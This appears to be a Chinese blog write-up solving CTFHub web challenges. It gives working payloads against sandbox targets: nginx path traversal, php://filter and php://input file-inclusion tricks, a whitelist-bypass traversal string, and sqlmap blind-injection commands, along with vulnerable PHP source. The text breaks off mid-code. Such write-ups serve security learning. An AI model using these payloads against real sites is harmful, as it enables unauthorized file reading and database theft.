CTFHub Web真题(3星-6星)

三星难度

afr-2(nginx目录穿越)

nginx配置问题导致存在目录穿越
https://blog.csdn.net/nzjdsds/article/details/97624122
直接访问/img…/flag即可得到flag

afr-1(文件包含php://filter)

提示文件包含
输入hello 回显hello world!
输入flag 回显no no no
又试了几个输入无回显
可以猜测输入的内容添加了后缀后读取文件内容
采用
php://filter/read=convert.base64-encode/resource=flag
成功读取flag.php内容
在这里插入图片描述
解码后得到flag
n1book{afr_1_solved}

checkin(Base64)

扫目录只扫出了index.php一个页面,抓取响应包发现有flag字段
在这里插入图片描述
base64解码后得到flag
在这里插入图片描述

四星难度

random(null爆破)

抓取请求报文后发送至爆破模块,选择不设置payload单纯重放报文
在这里插入图片描述
可以看到成功碰撞出结果
在这里插入图片描述

injection(SQL注入)

手工测试
and 1=1显示正常,and 1=2不显示,and 1=2-1显示正常可判断为数字型的布尔盲注
直接sqlmap跑起
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B --tables
获得表名为flag
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B --columns -T flag --thread 10
获得列名为flag
python sqlmap.py -u http://challenge-9c3b6bff068d508a.sandbox.ctfhub.com:10080/index.php?id=1 -technique=B -C flag -T flag --dump --thread 10
得到flag
在这里插入图片描述

warmup(文件包含绕过)

响应报文中提示source.php
在这里插入图片描述
访问后获得源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
   
   
        public static function checkFile(&$page)
        {
   
   
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
   
   
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
   
   
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

过滤机制:

  1. page不为空且为字符串形式
  2. 白名单判断
  3. _page为page调用mb_substr返回的结果
  4. 白名单判断
  5. _page进行url解码 解码后再次进行mb_substr
  6. 白名单判断

三次判断中只要有一次符合条件就会返回true进行文件包含操作
每次mb_substr都会调用mb_strpos(_page末尾拼接一个?,返回_page第一次出现?的位置)
可以通过这种形式过白名单file=hint.php?flag文件
根据hint.php中的提示flag位置在ffffllllaaaagggg文件中
由于不知道flag在哪个目录 所以需要不断添加…/测试
最终的payload为
file=hint.php?../../../../../ffffllllaaaagggg

逆转思维(伪协议+反序列化)

进入页面获得源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
   
   
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
   
   
        echo "Not now!";
        exit(); 
    }else{
   
   
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
   
   
    highlight_file(__FILE__);
}
?>

三个参数text,file,password
其中file_get_contents中text作为路径,读取出的内容必须为welcome to the zjctf才可以进入第一个if语句
采用php://input配合请求体中的内容绕过
在这里插入图片描述
在这里插入图片描述
第二个参数file文件包含可以通过php://filter绕过
/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
成功得到useless.php的base64源码

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

解码后

<?php  

class Flag{
   
     //flag.php  
    public $file;  
    public function __tostring(){
   
     
        if(isset($this->file)){
   
     
            echo file_get_contents($this->file); 
            echo "<br>";
        return 
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值